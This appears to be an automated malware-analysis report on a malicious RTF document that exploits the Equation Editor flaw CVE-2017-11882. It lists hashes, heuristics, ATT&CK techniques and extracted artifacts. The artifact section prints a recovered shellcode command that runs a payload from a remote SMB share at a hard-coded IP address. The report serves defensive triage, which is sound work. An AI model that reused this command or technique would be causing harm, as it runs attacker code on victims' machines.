RTF malware analysis — malicious · d369f3f9cc5fd70d

MALICIOUS

RTF

31.1 KB Authoring application: Riched20 6.3.9600 First seen: 2020-08-25

MD5: 45de3f4bf632a72a482f453054a3c442 SHA-1: c7c3b1062b93d64a88ebc6b5f602ae1281de21ff SHA-256: d369f3f9cc5fd70d05e3ae4a7138637869407e16898df1e8bba4e2db8de1042e

360 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple indicators of the CVE-2017-11882 exploit, specifically related to the Equation Editor object. This vulnerability allows for the execution of arbitrary code, likely to download and run a secondary payload. The presence of OLE object data and the specific ClamAV detection further confirm the malicious nature of the file.

Heuristics 8

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 4 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000100.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x100	3546 bytes
SHA-256: `51d243f9713e112f9fdc5b0288fc2ab9d81708056bdfd80a572df503b22b32bc`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c start \\194.67.195.74\1 &AAAAAAAAC
`objdata_01_off00001fe2.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1FE2	3546 bytes
SHA-256: `9c5c5d5ca1c197eb27b201a7ea660f0ebb80c29aed735f5770d63a7fdb9be7a2`

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